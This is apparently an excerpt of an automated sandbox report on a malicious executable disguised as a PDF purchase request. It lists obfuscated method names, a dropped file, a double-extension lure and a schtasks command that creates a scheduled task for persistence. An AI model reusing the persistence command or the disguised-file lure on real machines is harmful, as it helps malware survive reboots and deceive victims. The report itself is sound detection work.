Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, jP6hQDYWNYGmfnrDdp.cs	High entropy of concatenated method names: 'mnYEwTM2Kj', 'fE0EWludhs', 'PJDE6bWK5a', 'gxNEgPE43j', 'hJeEyo3Kop', 'CWe6ayOi5M', 'AaS6LfHaSH', 'YfD6eGntXP', 'iAt6xrT2Ht', 'iH864jpBYN'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, rRGkiiO0AW4v6qmLwf.cs	High entropy of concatenated method names: 'gpPF3jRXyK', 'xiqF6nUFFA', 'AZiFEuZ9dZ', 'IXTFg5ya3m', 'TGxFsBVkQQ', 'J5BFypE2yN', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, Tvu1OdVgGQNNEEUex0.cs	High entropy of concatenated method names: 'yRfg8jUUFP', 'CdIgJDfpT7', 'BwvgMPJafh', 'JtLg2pmeQq', 'hUMgv8CLoR', 'JbCgDI0L02', 'RPCgtEx1w6', 'sItgImfa5Q', 'tL8gcbd9Rk', 'IQJgoQay6o'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, iDd0mAcfQWtuBBMRi6.cs	High entropy of concatenated method names: 'zhA32vy1Io', 'QSR3DtqW1H', 'hKU3IOBHXM', 'njp3cy02fN', 'RAh3A3dX2t', 'cGI3fyRPRt', 'QaR3UZ5hYr', 'Ojw3r1UZoi', 'YNo3s8ouGS', 'D0H3FWee0U'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, gMtVMrotEpDGrlPgLr.cs	High entropy of concatenated method names: 'peI6v1wY3h', 'zKu6tYvg9c', 'QGt3PJinNV', 'BTO3XW0o1U', 'Rcm39IFuM2', 'QXg3qyPlnY', 'Eg13Zay4I1', 'ai43KQOicq', 'uvw3VTK2cQ', 'ahw3mvoXty'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, CICuwYIYM9uBpgQHNv.cs	High entropy of concatenated method names: 'NLdWplfSBY', 'XU9WQilnyK', 'IxxWjvlmqW', 'nExWCliifw', 'No9WaOIOx0', 'IqOWLtoUYv', 'mqKWe5JHR3', 'U1DWxZJ43L', 'oOAW4jqJcX', 'GJcWOBIFtt'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, FdGZLlzEeF8Lj3S1pa.cs	High entropy of concatenated method names: 'WqjFDEkLk4', 'kADFI4vEeO', 'QRhFc5bjrE', 'FlgFY2tOgx', 'FsBFdp6kDQ', 'R3XFXJpyZ3', 'YoBF93ejDW', 'n4iFnUZLsQ', 'GO0F8MSIZX', 'tN6FJEaoCY'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, TjEiRpjmFreNGi1GQE.cs	High entropy of concatenated method names: 'ToString', 'dTRfhGrbAC', 'PE2fdqUD8g', 'FdAfPu3seD', 'k2IfXrc5Yt', 'VgMf9lli5e', 'zx6fqnbgC5', 'DNpfZRXkLY', 'PetfK1ekmX', 'NN9fVnlu1a'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, lit4EtWWNL89DT6iD4.cs	High entropy of concatenated method names: 'Dispose', 'f0KS4xwOq5', 'ND5GdTd3MB', 'Dv1HwnpKf2', 'vfSSOCbmOk', 'UU7Szq6DCj', 'ProcessDialogKey', 'EFeGTY5FOp', 'gkFGSIIAQv', 'zC2GGrRGki'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, NkWkKSGTXYT0MLabEL.cs	High entropy of concatenated method names: 'z7eMX5JHN', 'wo62P05Jg', 'vGmDBirRe', 'IxFtBNJZ3', 'FZBcdNDsB', 'Gv2o2pdu3', 'yyYe0Rf5KTSDBU3Yo2', 'rQbZOSpTxMmEtnxBcf', 'mTWrLWvdu', 'TGYFqFRhj'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, TAL8UFyQqTbGLmT9Io.cs	High entropy of concatenated method names: 'dg2bwPD70r', 'mrMbBJxi1C', 'DaabW5gb7s', 'dEbb3WUmK1', 'PGdb63wPWi', 'EMKbEjWIrZ', 'RfTbgcXM7Q', 'wIrbytXRps', 'zVsbNuUxKr', 'duwbHdtVWC'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, WHhp89Sb61Xw7XCjlZL.cs	High entropy of concatenated method names: 'MklkOsRHp2', 'PuMkzjnsoS', 'LDe5Tkjna6', 'dkleXHt2KcK8WiI2UxB', 'KrYaTHtXmlnVmQLUv5i', 'FS2XsDtPfopDFdEvV9Y', 'SIF7AqtF0w0UXdJhjOt'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, xRG7wVLQfFV1CGtGc8.cs	High entropy of concatenated method names: 'lD6UxSL2U7', 'MdiUO8T72S', 'F65rTsRtQj', 'WgurSfgs9I', 'YLQUhy4rqu', 'FTdURrglbq', 'lSgUiY5H4y', 'adBUpbavjl', 'LbUUQoBnJy', 'CRKUjJr5vo'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, nwj2Pb7n4CIxW3AyM7.cs	High entropy of concatenated method names: 'tgDSgICuwY', 'FM9SyuBpgQ', 'ofQSHWtuBB', 'zRiSl6WMtV', 'mPgSALrgP6', 'OQDSfWNYGm', 'cNgaPs7wwKQi8VsbTd', 'JMV4YVBHpemyg3npZF', 'QraSSthaV5', 'tfWSb1pYhA'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, jriDlbpWiYb4rMfku3.cs	High entropy of concatenated method names: 'h4GAmkscMP', 'YqDARE3gux', 'FtOApk59P9', 'wSTAQQNjM0', 'okjAd1Lcc3', 'u5JAPjHrto', 'LkTAXmrY6A', 'eL6A9t1gxQ', 'Fy3Aq2feL8', 'tGAAZJAJKh'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, LBN5TXZhKBybyrCkrN.cs	High entropy of concatenated method names: 'SMNgBOhmcv', 'ohgg3x6hUu', 'roxgEnopak', 'mGXEOFQZIa', 'qJgEz3bxXh', 'aeVgT3gHYE', 'Pn6gST1YiA', 'sqmgGKB7d7', 'omSgbJ7Wab', 'es0g7CO0NJ'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, aAXtqtSTtvwGLspYoBZ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'ybsFhUc9Cb', 'UriFR8w6xe', 'F6dFiQc45Y', 'rGTFpBnJmO', 'kV9FQNK5dp', 'xaRFjuOCF6', 'cdTFCeMH0C'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, mWTkQFSSRoiFTDy9vY7.cs	High entropy of concatenated method names: 'xwrFOCRMvF', 'W8KFzJd2PU', 'vO6kT0e2Vc', 'tdDkSDMvlE', 'Y5okGXQ6n4', 'Btgkb8fZ43', 'fEMk7cnKmU', 'g5ikwFmHe2', 'FcTkBTXdiS', 'dEakWjYUMV'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, s09vsjS7KUlEfIGgpxu.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Siw5suddu8', 'MYo5FPHROc', 'lER5k6w9eL', 'lXK55YZjZk', 'HiV5uRqKhY', 'RS751AneUg', 'uGV5nIX8On'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, YqbkFNeqIB0KxwOq51.cs	High entropy of concatenated method names: 'JL4sAIWZhp', 'jdysUamwWJ', 'cnLssupJce', 'OK0skDUXEF', 'irgsuH28F0', 'eQbsn84gW6', 'Dispose', 'Uy9rBpMRMH', 'csXrWicEiX', 'eb6r3QYXX2'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, WY5FOp4WkFIIAQvMC2.cs	High entropy of concatenated method names: 'DRFsYtKBGd', 'Iivsde1W6i', 'b6YsPsphoe', 'RZ9sXSW0QV', 'p74s95HPex', 'rnwsqoYTRD', 'PbSsZpCpSn', 'QTusK4aNfF', 'SDVsVpS55E', 'uWwsmoIuEh'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, de0thciNrhsqCDPdH7.cs	High entropy of concatenated method names: 'fSn0INZecy', 'ABx0cYIyai', 'Q9U0YXsuLq', 'CRT0dXOIXH', 'XIs0XFbTZN', 'vET09Vpb9Z', 'xAI0ZfEDX2', 'QyC0KP4aBm', 'uvx0m2IRyb', 'e200hqOALR'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, jP6hQDYWNYGmfnrDdp.cs	High entropy of concatenated method names: 'mnYEwTM2Kj', 'fE0EWludhs', 'PJDE6bWK5a', 'gxNEgPE43j', 'hJeEyo3Kop', 'CWe6ayOi5M', 'AaS6LfHaSH', 'YfD6eGntXP', 'iAt6xrT2Ht', 'iH864jpBYN'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, rRGkiiO0AW4v6qmLwf.cs	High entropy of concatenated method names: 'gpPF3jRXyK', 'xiqF6nUFFA', 'AZiFEuZ9dZ', 'IXTFg5ya3m', 'TGxFsBVkQQ', 'J5BFypE2yN', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, Tvu1OdVgGQNNEEUex0.cs	High entropy of concatenated method names: 'yRfg8jUUFP', 'CdIgJDfpT7', 'BwvgMPJafh', 'JtLg2pmeQq', 'hUMgv8CLoR', 'JbCgDI0L02', 'RPCgtEx1w6', 'sItgImfa5Q', 'tL8gcbd9Rk', 'IQJgoQay6o'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, iDd0mAcfQWtuBBMRi6.cs	High entropy of concatenated method names: 'zhA32vy1Io', 'QSR3DtqW1H', 'hKU3IOBHXM', 'njp3cy02fN', 'RAh3A3dX2t', 'cGI3fyRPRt', 'QaR3UZ5hYr', 'Ojw3r1UZoi', 'YNo3s8ouGS', 'D0H3FWee0U'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, gMtVMrotEpDGrlPgLr.cs	High entropy of concatenated method names: 'peI6v1wY3h', 'zKu6tYvg9c', 'QGt3PJinNV', 'BTO3XW0o1U', 'Rcm39IFuM2', 'QXg3qyPlnY', 'Eg13Zay4I1', 'ai43KQOicq', 'uvw3VTK2cQ', 'ahw3mvoXty'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, CICuwYIYM9uBpgQHNv.cs	High entropy of concatenated method names: 'NLdWplfSBY', 'XU9WQilnyK', 'IxxWjvlmqW', 'nExWCliifw', 'No9WaOIOx0', 'IqOWLtoUYv', 'mqKWe5JHR3', 'U1DWxZJ43L', 'oOAW4jqJcX', 'GJcWOBIFtt'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, FdGZLlzEeF8Lj3S1pa.cs	High entropy of concatenated method names: 'WqjFDEkLk4', 'kADFI4vEeO', 'QRhFc5bjrE', 'FlgFY2tOgx', 'FsBFdp6kDQ', 'R3XFXJpyZ3', 'YoBF93ejDW', 'n4iFnUZLsQ', 'GO0F8MSIZX', 'tN6FJEaoCY'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, TjEiRpjmFreNGi1GQE.cs	High entropy of concatenated method names: 'ToString', 'dTRfhGrbAC', 'PE2fdqUD8g', 'FdAfPu3seD', 'k2IfXrc5Yt', 'VgMf9lli5e', 'zx6fqnbgC5', 'DNpfZRXkLY', 'PetfK1ekmX', 'NN9fVnlu1a'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, lit4EtWWNL89DT6iD4.cs	High entropy of concatenated method names: 'Dispose', 'f0KS4xwOq5', 'ND5GdTd3MB', 'Dv1HwnpKf2', 'vfSSOCbmOk', 'UU7Szq6DCj', 'ProcessDialogKey', 'EFeGTY5FOp', 'gkFGSIIAQv', 'zC2GGrRGki'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, NkWkKSGTXYT0MLabEL.cs	High entropy of concatenated method names: 'z7eMX5JHN', 'wo62P05Jg', 'vGmDBirRe', 'IxFtBNJZ3', 'FZBcdNDsB', 'Gv2o2pdu3', 'yyYe0Rf5KTSDBU3Yo2', 'rQbZOSpTxMmEtnxBcf', 'mTWrLWvdu', 'TGYFqFRhj'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, TAL8UFyQqTbGLmT9Io.cs	High entropy of concatenated method names: 'dg2bwPD70r', 'mrMbBJxi1C', 'DaabW5gb7s', 'dEbb3WUmK1', 'PGdb63wPWi', 'EMKbEjWIrZ', 'RfTbgcXM7Q', 'wIrbytXRps', 'zVsbNuUxKr', 'duwbHdtVWC'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, WHhp89Sb61Xw7XCjlZL.cs	High entropy of concatenated method names: 'MklkOsRHp2', 'PuMkzjnsoS', 'LDe5Tkjna6', 'dkleXHt2KcK8WiI2UxB', 'KrYaTHtXmlnVmQLUv5i', 'FS2XsDtPfopDFdEvV9Y', 'SIF7AqtF0w0UXdJhjOt'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, xRG7wVLQfFV1CGtGc8.cs	High entropy of concatenated method names: 'lD6UxSL2U7', 'MdiUO8T72S', 'F65rTsRtQj', 'WgurSfgs9I', 'YLQUhy4rqu', 'FTdURrglbq', 'lSgUiY5H4y', 'adBUpbavjl', 'LbUUQoBnJy', 'CRKUjJr5vo'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, nwj2Pb7n4CIxW3AyM7.cs	High entropy of concatenated method names: 'tgDSgICuwY', 'FM9SyuBpgQ', 'ofQSHWtuBB', 'zRiSl6WMtV', 'mPgSALrgP6', 'OQDSfWNYGm', 'cNgaPs7wwKQi8VsbTd', 'JMV4YVBHpemyg3npZF', 'QraSSthaV5', 'tfWSb1pYhA'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, jriDlbpWiYb4rMfku3.cs	High entropy of concatenated method names: 'h4GAmkscMP', 'YqDARE3gux', 'FtOApk59P9', 'wSTAQQNjM0', 'okjAd1Lcc3', 'u5JAPjHrto', 'LkTAXmrY6A', 'eL6A9t1gxQ', 'Fy3Aq2feL8', 'tGAAZJAJKh'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, LBN5TXZhKBybyrCkrN.cs	High entropy of concatenated method names: 'SMNgBOhmcv', 'ohgg3x6hUu', 'roxgEnopak', 'mGXEOFQZIa', 'qJgEz3bxXh', 'aeVgT3gHYE', 'Pn6gST1YiA', 'sqmgGKB7d7', 'omSgbJ7Wab', 'es0g7CO0NJ'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, aAXtqtSTtvwGLspYoBZ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'ybsFhUc9Cb', 'UriFR8w6xe', 'F6dFiQc45Y', 'rGTFpBnJmO', 'kV9FQNK5dp', 'xaRFjuOCF6', 'cdTFCeMH0C'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, mWTkQFSSRoiFTDy9vY7.cs	High entropy of concatenated method names: 'xwrFOCRMvF', 'W8KFzJd2PU', 'vO6kT0e2Vc', 'tdDkSDMvlE', 'Y5okGXQ6n4', 'Btgkb8fZ43', 'fEMk7cnKmU', 'g5ikwFmHe2', 'FcTkBTXdiS', 'dEakWjYUMV'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, s09vsjS7KUlEfIGgpxu.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Siw5suddu8', 'MYo5FPHROc', 'lER5k6w9eL', 'lXK55YZjZk', 'HiV5uRqKhY', 'RS751AneUg', 'uGV5nIX8On'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, YqbkFNeqIB0KxwOq51.cs	High entropy of concatenated method names: 'JL4sAIWZhp', 'jdysUamwWJ', 'cnLssupJce', 'OK0skDUXEF', 'irgsuH28F0', 'eQbsn84gW6', 'Dispose', 'Uy9rBpMRMH', 'csXrWicEiX', 'eb6r3QYXX2'

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	File created: \request for hopper scale and conveyor machine.pdf.exe
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	File created: \request for hopper scale and conveyor machine.pdf.exe
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	File created: \request for hopper scale and conveyor machine.pdf.exe
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	File created: \request for hopper scale and conveyor machine.pdf.exe
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	File created: \request for hopper scale and conveyor machine.pdf.exe
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	File created: \request for hopper scale and conveyor machine.pdf.exe	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	File created: \request for hopper scale and conveyor machine.pdf.exe	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	File created: \request for hopper scale and conveyor machine.pdf.exe	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	File created: \request for hopper scale and conveyor machine.pdf.exe	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	File created: \request for hopper scale and conveyor machine.pdf.exe	Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

File created: C:\Users\user\AppData\Roaming\vmPeKTe.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vmPeKTe" /XML "C:\Users\user\AppData\Local\Temp\tmpDF64.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: pdf.exe

Static PE information: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
